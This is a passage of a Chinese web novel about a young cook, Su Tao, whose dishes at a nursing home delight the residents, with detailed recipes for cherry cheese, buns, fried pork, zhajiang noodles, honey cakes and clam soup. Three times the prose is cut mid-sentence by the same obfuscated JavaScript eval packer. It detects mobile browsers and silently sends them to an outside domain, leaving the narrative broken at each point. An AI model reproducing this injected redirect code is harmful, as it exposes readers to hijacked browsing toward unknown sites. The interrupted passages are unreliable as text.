下午老人们被院长安排去了樱桃采摘园，带回来好几大筐樱桃。苏桃想了想，樱桃太多不好储存，这么多自己回家也吃不完，不如把新鲜樱桃换一种口味，给大家做成樱桃酪。 苏桃把樱桃洗净，放在案板上，用刀尖把樱桃划开一条线，分离出果核，果肉尽量保持完整。 接下来要将鲜牛奶倒进玻璃碗里，加热到温温的程度，加入一些发酵用的甜酪，调味要用甘蔗榨出的蔗汁，将蔗汁熬出粘稠状，是用天然的甜味儿来调味道，放入少量就可以了，避免做得太甜。甜酪发酵几个小时后，逐渐开始变得浓稠，这就成为了纯白色的乳酪。 食堂有提前准备好的水晶杯，她取一只水晶杯，底层铺上刚刚酿制好的乳酪，中间层是一排樱桃，再放一层乳酪，最上层继续用樱桃铺满，再放入薄荷叶。红绿色的搭配，让外观更加好看。 简单的一道樱桃酪就做好了，这是古代就有的传统美食，苏桃稍微做了改良，最后洒入了一点坚果碎，让口感变得更丰富。 到了晚餐时间，老人们陆续进入。 其中，梅昀光首先拿了一杯樱桃酪，感慨说：“好漂亮的甜品啊！” 坐在桌子旁，她拿一只小勺，将合着坚果、鲜酿乳酪和樱桃鲜果的甜品缓缓送入口中。咬下去，酸甜可口，滋味纯正，和新鲜的樱桃感觉又有不同：“哇，小苏这乳酪做的可真好！” “你看我这小碟子里面是什么？”旁边坐着的老人周静好开口，拿出一只白色小碟，里面是鲜红漂亮的浆液，“你没看到那边？有个透明玻璃瓶，里面就放着樱桃酱吗？小苏回来以后动作好快，樱桃做成了新鲜的樱桃酱。我拿片白面包加樱桃酱吃，可好吃了，里面好像还放了些柠檬汁，酸酸甜甜的，特别清新。” 樱桃酱熬煮得鲜红浓郁，里面还有大颗大颗的樱桃碎，舀下去除了有浓郁的果香酱香味，还有果肉的颗粒感，看上去像是鲜红色的琥珀冻一样，漂亮极了。 光是闻到味道，梅昀光也忍不住了：“怪不得小苏今天准备了白面包，我这不也拿了一块面包，可以来点儿你的酱尝尝吗？” 征得同意，她挖了一勺周静好的樱桃酱，在面包上涂抹均匀，咬了一口，果香浓郁，苏桃把樱桃原本好吃的滋味提升到了极致。 梅昀光吃得香极了：“这酱也太好吃了，感觉比新鲜的樱桃还好吃。我能不能把我那一篮子樱桃都给小苏，让她帮我熬酱装瓶吃？不过……这很花费时间吧，我给钱她肯定不收，那我给她准备个礼物吧！” “算了算了，咱们别麻烦人家了，这孩子每天给咱们这么多人做饭挺不容易的，你想吃果酱，那瓶里还有，今天多吃点。”周静好说。 梅昀光点点头。 她夹起盘子里一份素菜，是今天吃了好多甜蜜滋味的水果后，特意多盛了点，名叫荷塘月色的小炒菜，看起来非常素雅。 这荷塘小炒颜色相当好看，红的白的绿的黑的，每一种菜都保留了原始的色泽，搭配得很有食欲。黑色是黑木耳，绿色是荷兰豆，红色是胡萝卜，白色是莲藕，吃起来相当爽口。 梅昀光吃了一口，不禁大惊：“天呐，这个荷塘小炒怎么能做得这么脆脆的，这口感好独特。看起来好像没有放什么酱汁调料，但味道怎么会这么好吃？” 周静好告诉她：“我以前去外地出差的时候吃过这荷塘小炒，问过当地的厨师。这道菜看起来是把素菜炒在一起，简单食材多样而已，但实际上做起来特别考验火候，要足够快速地翻炒，才能保证这菜吃起来足够香脆，稍慢一点，这其中几道菜就被闷软了，那就不是荷塘小炒的味道了。” 梅昀光不由感慨：“你还挺懂。” 周静好摆摆手：“我懂得不多，我就是爱问。这荷塘小炒里面的味儿我尝出来了，的确是正宗做法，里头放了些火麻油呢，这种油就是电视上说的长寿之乡吃的油，你不是血脂高吗？多吃这种油对你血脂也好。” “原来还能这样，那我得再打一份这个当小菜。”梅昀光三口两口把饭盘里的素菜吃了，又跑去盛菜了。 老人们用完餐后，苏桃回家，看见苏振岳、沈婉柔和弟弟妹妹已经睡着。苏桃猜想，他们可能是周末去开荒，太累了的缘故。于是也没打扰，悄悄洗漱以后回了自己的房间，旁边的妹妹苏小糯睡得正香，轻轻为她揶了下毯子。 早晨醒来，苏桃送了妹妹苏小糯去上学，弟弟自己回了住宿的学校，苏亮哲说下周要考试，大概就待在学校复习，暂时不回来。 苏桃点点头，转身去了家家乐养老院。今天她要做两种不同的包子，鲜肉馅儿和香菇青菜馅儿，一荤一素，营养搭配均衡。 她将面粉放入盆中，加入酵母，倒入温水，搅动之后，将面团揉到光滑，放在一旁发酵，盆上盖上保鲜膜。苏桃还在里面加了少量克数的糖，这是为了让发酵更快些。 另一边，她开始处理从市场上买回的猪肉，粉白相间的五花肉漂亮极了，再加入一些前腿肉，搅和在一起，用机器加工成馅料。接下来，葱姜花椒用油爆香以后，将其汁水缓缓倒入肉馅，肉本身的腥味被更好去除。 苏桃的手很巧，到了包包子的时候，一张面皮用勺子盛入肉馅，在她手里轻轻一提一捏，包子褶就均匀漂亮，像一朵花儿似的。她轻轻将半个手掌大的包子放在容器上，容器上铺了笼布，防止粘连。一个个包子挨个排列，大的蒸锅一锅就能出几十只包子。 蒸着肉馅儿的同时，她又开始处理香菇和油菜这两种食材。 油菜焯水时要过凉水，让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670074|173116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它变得鲜嫩脆爽。焯水的时候滴入两滴油，保证菜色不变。这包子馅儿的秘制调料还是苏桃对原世界做美食主播的时候，评测过几十种之后选出的一种，调料搭配很有自己的心得。 虽然包子看起来普通，但在蒸锅里散发出香味的那一刻，连门口的保安都闻到了，馋得不得了。 林家震正在院子里踢毽子呢，他踢毽子可是一把好手，整个家家乐养老院被他接不到毽子的时候屈指可数。几个人对踢，总是他留到最后。他可是方圆一片的毽子大王，腿脚厉害得很。尤其这段时间，吃了苏桃做的饭，更有精神，大家更加踢不过他了。 林家震最爱的食物就是包子，一问，今天刚好是包子，直接把毽子丢到院子里，门一开就往食堂跑去。 林家震一口气拿了八个包子，随便找了张桌子坐下，筷子夹起一只鲜肉包，咬了一口，皮儿相当蓬松轻薄，鲜肉馅汁液充盈，鲜得无比的汤汁侵入口腔，好吃得旁边有人搭话，林家震都只顾塞包子，来不及说话。 对面的老黄头提起踢毽子比赛，说还有奖金呢，吸引了他的注意。林家震也想参加，那就得更加多吃两碗饭，老年人的精气神先得补足了，才有可能胜利！ 林家震又咬了一口香菇青菜包，一咬开，满满素菜的香味，尤其那青菜，脆脆嫩嫩的，包进了包子，居然一点儿没有软塌塌的味道：“小苏连素菜包子都做的这么好吃啊！” “是啊，我一个不太吃香菇的人，都爱上了这个味道。而且，这面咬起来好软，像棉花团似的，馅料的汤汁都沁在薄薄的外皮里了，看起来真诱人。” 早晨餐台上还多了与众不同的小吃，吸引了老人们的注意。那是一些圆滚滚、显得很可爱的颜色通红的香肠，这是苏桃自己做的黑胡椒香肠。黑胡椒点缀在其中，加热烤熟以后，肉香气飘散出来，直往每个人鼻腔里钻。 “这香肠看起来□□弹弹的。” “我还没吃过烤肠呢，我们家小孙女特爱吃这个，可我觉得外面做的不干净。” “放心好了，这是小苏自己做的，没有那些添加剂的，你就尝一个吧。” 尤好鹭被这么劝着，拿了一根香肠，往那儿一坐，喝了口南瓜粥，就着烤肠随便吃了一口，却没想到这烤肠的滋味儿让她睁大了双眼：“哎呦，这烤肠里面的肉怎么这么香啊？被烤了以后，油油润润的，好好吃。” “你真从来没吃过烤肠啊？”旁边的赵姐问。 “没有，我现在总算知道我那小孙女为什么爱吃烤肠了，尤其是小苏这自己做的，又干净又好吃，肉粒给的真扎实啊！太好吃了，待会儿我还得再拿一根。” 吃完了烤肠，尤好鹭又上前去拿，苏桃刚刚烤好了新的一批，直接夹到她的托盘里。尤好鹭坐下来又咬上一口，只觉得这一口烤肠下去，心里都顿时觉得幸福极了。 12. 板栗烧鸡翅＋拌藕丝 除了烤肠，一道板栗烧鸡翅吸引了老人牛大宣的注意，这做法好新奇啊，他没见过。板栗烧鸡翅色泽橙黄，鸡翅看起来诱人，浓稠的酱汁盖在上面，搞得人口水直流。他连忙盛了一大勺，刚尝了一口，“唔”了一声，这炸到两面金黄的鸡翅，味道也太绝了吧！肉质的香气带着板栗淡淡的甜香，肉质嫩滑，板栗也挑选得很新鲜，粉粉糯糯，食材中还放了一些他没见过的香叶，不知道具体是什么东西，但是很独特的好吃。 正吃着呢，突然有人拍了下牛大宣的肩膀，他回头一看，竟然是调休的儿子来找他，看看他身体怎么样：“爸，吃饭呢！” 牛大宣吃得满嘴流油，顾不上放下手中的鸡翅，嘴里还嚼着东西，塞得满满当当地说：“你先坐下吃点，这板栗烧鸡翅真好吃啊！” 儿子小牛绕过牛大宣，在他对面坐下。两人注意力都在这些美食上，也算是少有的父子俩有时间坐在一起的时刻，其乐融融，一起吃饭倒也挺温馨。 离开的时候，小牛也办了张餐卡，没想到养老院的饭太好吃了，尤其是那道板栗烧鸡翅，他吃了以后，竟然成了他心目中鸡肉做法的第一名，堪称白月光了。 这天中午，苏桃还准备了一道佐餐小食，是一袋一袋的炸酥肉，用纸袋包好，里面放两根牙签。有想吃的人可以拎一袋走。 炸酥肉并不复杂，主要由里脊肉制成。选好上等的里脊肉后，跟鸡蛋液混合均匀，里脊肉切成肉条，加入胡椒粉等调味，当然还有苏桃自制的调料粉末。她是在市场上买了桂皮、八角、茴香、花椒、孜然等，还用自制的洋葱粉混合在一起，调出的秘制酱料。 这调料粉不管用来腌制酥肉还是其他的肉食、素菜，味道都是一绝。要让调料完全腌制入内，渗透进肉条，在油锅里开炸，等酥肉炸出金黄的色泽就成了。 把酥肉从锅里用勺子捞起，控油，随后装进纸袋，放入牙签。 酥肉做得晚一些，苏桃把它当成下午大家空闲了可以试吃的小零嘴。所以，当酥肉热腾腾地炸出来的时候，她竖起牌子，扬声喊了一声：“小酥肉好了！” 老人们正笑着聊天呢，目光看过去：“怪不得我说闻着这么香呢，原来是小苏又做了新东西。” “这小酥肉刚炸出来时候特好吃，酥酥脆脆的，我得多拿点，待会儿回宿舍吃。” 关阿姨上前拿起小酥肉的袋子一看：“嚯！小苏做炸物的水平可真高，小酥肉外壳这么蓬松，好像还裹了蛋液吧，黄灿灿的，看着就好看。” 她随手拿了一根酥肉，丢进嘴巴里，当时就惊呆了：“哇，我本来想炸肉能有什么味道，不过都是肉和油的混合罢了，但没想到这里头还有调味儿啊，外酥里嫩，味道还这么好吃，后味还有麻麻的感觉，应该是放了一种青花椒，一下子小酥肉就有了灵魂！” “小酥肉软了之后也好吃，可以做酥肉锅，放锅里一涮，虽然变得软嫩了，但味道不减。” “我喜欢吃酥脆的，我得趁热吃。”老人李守寒说着，拿着一袋小酥肉走出了食堂。 今天天气不错，温而不燥，他出了养老院的门溜达，顺便将一条一条酥肉丢进嘴巴里。 这附近走读的学生伍云非，和两个同班同学顺路一块儿回家，在小巷转角处，突然闻到一阵飘香的味道。 “哇，好香啊，那是什么味道啊？勾得我口水都要流出来了！” “是炸货的味道，什么时候附近出小摊了？” “不，学校旁边的小摊不是这味道，这个可好闻多了，到底是什么东西啊？我可太好奇了。” 三个初中生背着背包，穿着校服，一直沿着香味嗅来嗅去，想找到味道的来源。毕竟他们也常常在学校门口买些小零嘴，年轻小孩儿嘛，哪有不爱零嘴的？ 拐来拐去，伍云非终于发现了来源，远远望着老人李守寒手里拿的吃食，说道：“应该就是从那袋子里发出来的味道。” “我去问问他在哪儿买的。” 伍云非平时就是社牛，两步走上前询问，他清清脆脆叫了声：“爷爷，我想问一下，您手里这袋小酥肉是在哪儿买的？” 李守寒一愣，抬抬手：“哦是我身后，家家乐养老院里大厨做的小酥肉。” 伍云非大惊：“养老院还会做小酥肉？” 李守寒拍着胸脯自豪地说：“当然了，我们的大厨小苏什么都会做，经常给我们改善伙食，味道一个赛一个的好！” 伍云非垂下脑袋：“唉，养老院的话，我们应该进不去。” 身后两个同学也都为吃不到这小酥肉而叹了口气。 伍云非摆摆手：“算了算了，咱回家吧，闻一闻味道就行了，虽然这味道勾人的厉害。”几个同学都疯狂地咽口水。 李守寒看出了他们担忧什么，笑道：“想吃就去养老院，我带你们进去。今天我们这儿大厨小苏做的小酥肉还真不少，想吃的话，你们应该也能吃到。” 伍云非问：“家里没有人在养老院，也能进吗？” 李守寒说：“可以啊，最近几天就有不少老人家属办了卡，在这儿吃饭的，人家也不在这儿住，不照样能去食堂？你们要吃，单独购买就行。” “好啊好啊！”几个学生立马蹦了起来。 李守寒带着三个人，跟保安打了声招呼，进了食堂。中午食堂的关门时间快到了，差一点儿就关闭了，台子上剩了两袋小酥肉。伍云非一看，赶紧把最后两袋抓在手里。 李守寒知道，家属因为家里有老人住在这儿，可以免费吃那么一顿，再吃要交钱，但这几个孩子家里没人住这儿，就要按照正常价格付费。养老院肯定也有考虑，不然有更多人来免费吃，成本都覆盖不了，院长肯定也不乐意。 既然要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670075|173116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 付钱，他就别让三个孩子出了，反正自己有养老金，就替他们把钱出了。 伍云非一看，肯定不能让老人家掏钱，还是执意拿出了零花钱给李守寒：“爷爷，我们在学校门口小摊上买小酥肉的话也要花钱，不比这儿便宜。” 李守寒说：“那是，以后欢迎你们来吃饭啊。” 伍云非点点头，带着身后两个同学朝爷爷摆了摆手，踏上回家的路。 三个人在小巷里分着两袋小酥肉，一口下去，酥脆软的香的简直要冲翻天灵盖，每个人都沉浸在这样的美味里，感叹世界上怎么会有这么好吃的小酥肉啊？ 真没想到，养老院还卧虎藏龙呢，不知道那个厨师姐姐做的其他的零食会不会也很好吃？ 下午，苏桃拐去菜市场一趟，特意选择了一些粉粉嫩嫩、品质比较好的莲藕，准备回去给大家做拌藕丝。 莲藕挑选的话，不是越大越好，也不是越白越好，太白可能有药水浸泡过，所以要挑选颜色自然的、外形饱满、带有一些泥土、质地比较坚硬的好。 因为是做凉拌菜，要求脆度，所以选择的莲藕品种不能是淀粉含量太高的，那种粉藕更适合用来煲汤、炖肉。 凉拌藕丝在夏天来说也是非常爽口的一道小菜。做起来并不难，但是藕丝要切得细，才能在腌制的时候更加入味。 苏桃刀工很好，切菜速度快，她沿着藕孔的方向下刀，切完了薄片以后，再把薄片片成丝，切下去，藕丝仿佛是被机器处理过一样，大小粗细竟然十分均匀。切完之后，丝线的透白晶莹相当好看。 焯藕丝之前要先将藕丝放在清水里，让其中的淀粉减少一些，这样在处理的时候才能保持色泽白，不容易发黑。苏桃用开水焯了以后，在藕丝根根分明脆爽的时候捞出来，加入调料，盐、生抽、白醋，少量白糖提鲜，葱蒜切成末，再放几粒花椒，用热油“呲”的一声，浇在上面，香味瞬间散发出来。 为了颜色更加好看，苏桃还特意切了青红椒，同样切成细丝，和藕丝拌在一起，青白搭配起来非常好看。 搅拌以后倒进大的食盆，作为今天素菜中的一种。 食堂开了，老人柏晓妹向来不挑食，每次打菜都把所有的菜品打齐，三个肉菜、四个素菜全盛进盘子里以后，托盘堆得满满当当。不过她最近食欲好，都能吃得完。 柏晓妹往桌边一坐，先夹起了藕丝，毕竟颜色分明，非常显眼，用简简单单的素菜开个胃。没想到这一口下去，嘴里的口感让她倍感震惊，鲜香脆爽，怎么会这么好吃？口味酸酸的白醋中还带着些微微的莲藕本身的甜，简直让人回味无穷。 而且这藕丝的切法也恰到好处，再细的话，被水一焯就变得软趴趴的，再粗的话，口感就会显得微钝。这种宽窄，咬下去，脆生生的恰到好处。抛开绝好的口味，只从这切丝的口感来说，就已经是顶配。 13. 炸酱面＋蜂蜜小蛋糕 晚上，苏桃拿出了提前准备好的梅花肉，粉粉嫩嫩的。她将肉切成丁，放在大白碗里备用。 黄豆酱是苏桃自己熬制的，她选干净饱满、粒粒分明的黄豆，在水中浸泡以后，加入一些香料，煮成软烂。这期间不需要将豆子压扁，保持它的完整形态。之后，她将豆子混入面粉发酵，发酵的过程中会长出菌丝，但这些是可食用的菌丝。 还要经过多次发酵以后，再将发酵后的豆子炒香，加入洋葱、葱姜蒜等调料，这样就制成了黄豆酱。自制的黄豆酱味道更加浓郁、丰富，她将黄豆酱装入玻璃瓶，存放起来。 制作黄豆酱时间不短，但苏桃用了简易的方式，几天之内就能做好。这黄豆酱可以多炒入几种菜里，很快就能把一瓶用干净。 胡萝卜、豆芽，还有黄瓜作为配菜，提前洗干净切成丝。炸酱面好不好吃，主要就在于炒着的酱是不是正宗好吃。 苏桃起锅烧油，将梅花肉的肉末倒进去，煸炒以后，用小勺淋入黄豆酱和甜面酱，酱汁裹在肉上，肉的颜色微微变深。这时候再加入调味料，水开了，咕嘟咕嘟翻滚，盖上锅盖，让肉在里面焖煮一会儿，让酱汁渗透进肉里才好。等到酱汁变浓稠以后，苏桃开锅闻了一下，肉香气浓郁，随后关上火。 另一边开始煮面，面是苏桃手擀的，要做出劲道的感觉，面粉必须调配好，用鸡蛋和盐让它增加筋道。和好面之后，她把面在案板上揉开，用擀面杖擀成大大的圆形。 面饼在案板上不断旋转方向，主要是为了让各个角度都擀匀，让面皮变得薄薄一层，这时就可以把整个面饼叠起来以后成为长条，用刀从一侧慢慢切开，再把折叠起来的面一抖落就变成窄窄的一长条。将手擀的面下到沸腾的水里，煮开以后捞起来放凉水里过一遍。 这时候就可以把面条盛入碗里，再在面条上放入炸酱，然后放入黄瓜丝、胡萝卜、豆芽这些配菜。 刚刚退休的冯鹏丽今天把头发梳高，整个人都显得很有气质。她走进食堂，拿了一碗炸酱面。她看着深色浓郁的酱料，用筷子拌开，白生生的面就慢慢染上了酱的颜色。 哇，苏桃给的肉还真不少，每夹起一筷子面条，上面都裹满了肉酱。冯鹏丽一口咬下去，不禁感叹：“小苏的炸酱面做得也太好吃了吧！真是少有的在外面比家里做的还好吃的炸酱面。” 旁边的付玉画也不由好吃到“嗷呜”了一声：“我记得吃过最好吃的一次炸酱面，是我上小学的时候，在一个胡同里，小小的门脸，我妈带我去吃的，那是个老婆子做的炸酱面。酱汁浓郁，一口下去，完全惊艳啊，我一直记到现在。后来再去找炸酱面吃，就再也找不到那样的味道，哪怕自己在家做，也做不出那种滋味，没想到今天居然在咱们食堂吃出了我童年时候的味道！” 付玉画说这话的时候，谁能想到她前段时间还是个动了小手术、走路都小心翼翼、生怕摔倒的病患。 现在术后吃得好，直接把人养得不像那会儿看着病恹恹、脸有点发黄的样子，而是面色红润，走路都大跨步起来，声音似乎都洪亮了些。 “你的身体恢复得还真快。” “是啊，多亏了小苏的饭，她今天做的炸酱面，我还能再吃一大碗！”付玉画很快吃完了眼前的这一份儿，又去盛面了。 这次她还特意问了苏桃炸酱面是怎么做的，看看有没有什么不同的步骤，能把这面做得这么好吃。结果苏桃告诉她之后，她也纳闷，明明是一样材料，步骤也差不多，但苏桃的手怎么做出来的就这么好吃。 她坐回原位，突然意识到了什么：“我知道了，秘诀应该就在这些酱里，小苏用的不少调料都是自制的，买外头的酱自然没有自制的这么香气四溢。” “你说的有道理。” 付玉画吃完了晚饭，为了表示感激，趁着食堂下班之前，跑回宿舍，抱着一大盒两升的鲜奶出来。恰好苏桃在锁门了，她把鲜奶递给苏桃：“小苏，你拿回家喝吧，我女儿送了我不少呢，我自己一个人喝不完。” 苏桃再三推辞，觉得不能拿阿姨的东西，但付玉画仍然很坚持。盛情难却，苏桃只好收了那鲜奶，和她摆摆手，道了别，回家了。 回到家，妹妹苏小糯给她开了门。苏桃还给苏小糯带了自己在晚餐时候给老人们做的荔枝饮料，荔枝味相当浓郁，倒在杯子里，泛着粉红透白。要是这会儿有阳光的话，荔枝饮的颜色看起来应该非常梦幻。 苏桃在原世界调制那些漂亮的饮品，没少下功夫，不同饮料之间如何调配果汁、牛奶、各种配料等的比例，都评测过很多个视频，最后选出的是味道口碑都好的一些饮料，荔枝饮就是其中一种。 她把饮料递给苏小糯，苏小糯喝了一口，就蹦得老高，哇哇大叫：“怎么这么好喝呀！姐姐，这荔枝饮料好好喝！就好像直接咬到了一颗树上长的荔枝！” 苏桃笑了笑，把老人送她的鲜奶放进冰箱里，提醒她：“小糯，这奶你要抓紧喝，现在正是长身体的时候，这都是你的。” 第二天早晨睡醒，苏桃去了批发菜市场。她知道小摊里专门有一个卖蜂蜜的，是自家蜂蜜，相当浓郁，基地就是在本市郊区。 真正好的蜂蜜，纯天然的那种，绝大多数都会结晶，浓度越高的话，结晶的数量就会越多。而且那种结晶和掺杂了糖分的结晶不一样，因为把蜂蜜瓶子举起来，对着阳光看，质地非常纯净，但并不是完全透明的，而是有些天然花粉等的混合物在里面。 苏桃特意买了新鲜蜂蜜，几大瓶回去。今天她要用蜂蜜给大家做些好吃的。 除了几个不同的大锅在熬红豆粥、南瓜粥和白米蔬菜粥以外，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670076|173116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还备了些菜品，准备早晨炒几个小菜。但最重要的，是要做老人们都爱吃的蜂蜜小蛋糕。她特意做的多一些，这样老人们早晨吃不完，可以带回去几个。 蜂蜜小蛋糕做起来并不难，食材也很简单，面粉、鸡蛋和蜂蜜是必备的。苏桃喜欢在调整好的蛋糕糊中加几滴柠檬汁，比白醋的味道更加温和，同时也能去除腥气。蛋糕糊还加了不少牛奶，这样牛奶的香气更加浓郁，蜂蜜的配比则适中，保证既能吃到甜甜的蜂蜜味儿又不至于太腻。 调好蛋糕糊以后，苏桃拿出大大的模具，这一个模具上就能同时做出50个蛋糕，是专门为食堂所准备的大模具。模具底部要刷上一层油，薄薄的就行，为了防止蛋糕糊粘上去取不下来。 最后，将烤箱预热，将调好的液体倒入模具，再磕一下模具，让蛋糕糊上面平整，然后将整个模具送入烤箱。烘烤20分钟后，蜂蜜小蛋糕已经烤得完全蓬松，表面金黄的一层。透过烤箱门，看到蛋糕已经差不多了。 烤好的蜂蜜小蛋糕从模具里取出来，一个一个软糯可爱，倒在大托盆里，垒成一座小山，金灿灿的非常诱人。 苏桃为了口感更丰富一些，在做蜂蜜小蛋糕的时候，还不忘做了些不同的口味。做法也很简单，只需要在蛋糕糊里面加入不同的添加物，比如说加入蔓越莓，就变成蔓越莓蜂蜜小蛋糕，加入一些可可粉，蜂蜜小蛋糕的颜色就变深，成为巧克力色，味道也多了巧克力风味。 蛋糕浓郁的香甜气息穿透食堂向外散去，老人丁娇香早就忍不住了，她在宿舍楼上洗脸呢，居然都能隐隐地闻到。顺着这个味儿，她下了楼，直接冲进食堂，一看是蜂蜜小蛋糕，兴奋得不得了。 这是她最爱吃的一种甜品，简单又好吃，完全吃不腻。她拿了三只蜂蜜小蛋糕，盛了碗红豆粥，打了两个小菜，坐在桌子旁咬了一口，甜蜜的味道完全包裹了她的味蕾。一瞬间，仿佛所有的烦恼都消失殆尽了。 “哇，怎么会好吃到这种程度，小苏的手艺，每一次都令人惊讶！”她心里暗暗想着，环顾四周，发现老人们的确也都盯上了蜂蜜小蛋糕。 退休以后在家无所事事，老人们就喜欢出去买些吃的，打发时间。大家最爱的就是蜂蜜小蛋糕，有时候摊子上的蜂蜜小蛋糕放时间长了，都有些风干了，吃起来干巴巴的，口味不太好，但也是为了那么点儿甜蜜的滋味，就着水也得把它嚼下去。 但现在，苏桃做的这个就不同了，松软得很，非常有利于老人的牙口，而且是新出炉的，带着热乎气儿，吃起来口感就更好了。软甜的香气，让人不由沉浸在其中。 每个人都在安静地吃蜂蜜小蛋糕，脸上洋溢着满足的笑。即便是有些身体不舒服，每天都不能忘记吃药的，在这个瞬间也忘记了疼痛。甜品果然是能让人忘记一切烦恼的存在啊！ 14. 蛤蜊豆腐汤＋地三鲜 除了蜂蜜以外，苏桃大早上还在菜市场买了刚捞出来的蛤蜊。处理蛤蜊要让它吐干净泥沙，所以把它放在清水里，添加一些油和盐，逼出蛤蜊嘴里的泥沙。一只只的蛤蜊，还要拿起来细细地清理干净，防止里面有细小的沙子，毕竟老人们牙口不好，卡一下也不得了。 苏桃很擅长这种清理的工作，对别人来说比较复杂的事，对她而言却是一种沉浸式的静心过程。把注意力完全放在这些小蛤蜊身上，清洗好每一个，看着盆子里浑浊的水变得干净澄澈起来，就很有成就感，心情也有种整理过之后的舒畅。 之后还要将蛤蜊放在锅里焯水，开口以后要防止里面再有泥沙，再度清理一遍。一碗蛤蜊豆腐汤花费的功夫还真不少。不过，养老院的饭菜营养搭配要均衡，每周都要有适量的海鲜。 蛤蜊豆腐汤里面选用的豆腐不能是老豆腐，为了搭配海鲜，苏桃选择的是嫩豆腐，柔柔软软，米白色泽，切块以后放入煮好的高汤里继续炖煮，味道散发出来，馋得人直流口水。哪怕正在吃蜂蜜小蛋糕的老人们，也顺着味道看向了正在操作中的厨房。 由于菜品比较多，没法同时出锅，只能一道一道来，有的会在老人们已经开饭以后再上，但即便晚一点都能赶得上老人吃饭的速度，确保每个人都能喝到蛤蜊豆腐汤。 苏桃熬好蛤蜊豆腐汤以后，加入适量的盐和胡椒粉，味道一下子就被激发出来了。为了增添香味，苏桃刚才还在汤里加了些粉红大虾仁，个个买回来的时候也都是新鲜活泼的，去除了虾线，整条粉粉嫩嫩，在浓白的汤里显得尤为好看。 蛤蜊豆腐汤好了，老人们拿了碗前去盛汤。胡松阮还挺时髦，衣服上套了一件年轻人穿的篮球衣，坐在那儿尝了一口汤，差点鲜掉了眉毛。 旁边的余笑芹开口道：“这白天太热了，汗出得多，容易口干舌燥，蛤蜊呀能润燥，喝一碗下去，整个人都能滋润不少。以前我们家就经常炖这个，有时候嫌麻烦就直接清水煮蛤蜊。” “这么好呀，那我可得多吃点。最近运动得多，跟人打球，出汗多了，狂喝水，但怎么喝也不解渴。你要说能润燥的话，大热天正好合适我。”胡松阮咕咚咚喝完了一碗，又去盛了。 院长唐悦心忙完了手头的事来食堂吃饭，看见一顿简单的早饭，苏桃竟然做得这么丰富。老人们吃完一碗或者一个托盘的饭菜，还会再去盛，说明老人们的食欲都比以前好了，而且肉眼可见的，之前有些营养不良、面黄肌瘦的老人，面色也红润了一些，看上去应该已经胖了几斤。 院长唐悦心说不出的高兴。上回她查看了苏桃的评分单，老人们对她的饭菜都很满意，唯一的要求就写在下面：“唐院长，请务必照顾好小苏，留下这个大厨！”院长唐悦心也很庆幸当初做了一个正确的决定，让苏桃留了下来。 等吃完了早饭，苏桃一个人在食堂忙活的时候，院长唐悦心走进去，顺手帮她整理灶具，开口说道：“小苏啊，我从招聘网站上给你张贴了招聘信息，有不少人来应聘，我选了些不错的，有空了面试他们一下，留一个或者两个都行。你忙不过来，手里的杂活儿就交给他们。你看我面试定到今天上午怎么样？” 苏桃想了想，点点头：“可以的，唐院长。” “过两天有一个踢毽子大赛，主办方就是咱们这条街道的，选了几个场地都不够大，决定在咱们养老院的院子里举行，所以辛苦你当天招待的客人可能会多一些，在这之前最好把聘用的帮工敲定下来，这样那天你就不用太累。对了，照例有活动的话，你的工资翻三倍。”院长抬手拍拍苏桃的肩，“好好干。” 苏桃休息了会儿，从六层宿舍出来的时候，面试者陆续到达，他们也都住在附近，来得比较方便，看起来都很年轻，类似的活儿也都做过。 苏桃综合选择，留下了名叫眉小艺的年轻女孩子，第二天她就可以来上班了。眉小艺之前是做服务生的，没有初级厨师证，不过她也想考，但是没有师傅带。她家庭环境比较糟糕，没有办法专门去一些学校学习厨艺，一直都在打工的路上，所以有这个当帮工的机会，听说还可以给厨师帮下手，她非常兴奋。 眉小艺得到了聘用的消息，开心得不得了，去院长那里办手续去了。 中午仍旧是三个荤菜、四个素菜，其中一样素菜，苏桃决定做地三鲜。看起来简单的三样食材，味道确实很经典。 她选择了紫色的茄子，圆滚滚、要挑外形饱满的那种，然后备好土豆、青椒。茄子和土豆要切成大小均匀的滚刀块，然后在茄子表面轻轻地裹上一层淀粉，这样待会处理的时候，它才能炸出外皮焦脆的感觉。 起锅烧油，油热以后，要分别炸土豆、茄子，土豆表面微微呈现焦黄色的时候，就可以捞出控油，裹着淀粉的茄子一起下锅，同样很快捞出。 地三鲜的料汁配方也非常经典，生抽、盐、淀粉、蚝油，少量糖提鲜必不可少，准备好以后开始大锅爆炒。起锅烧油，丢入葱蒜，煸炒一下，激发出香味以后把刚才处理过的食材倒进去翻炒，最后一步再将调好的料汁缓缓倒入锅中。 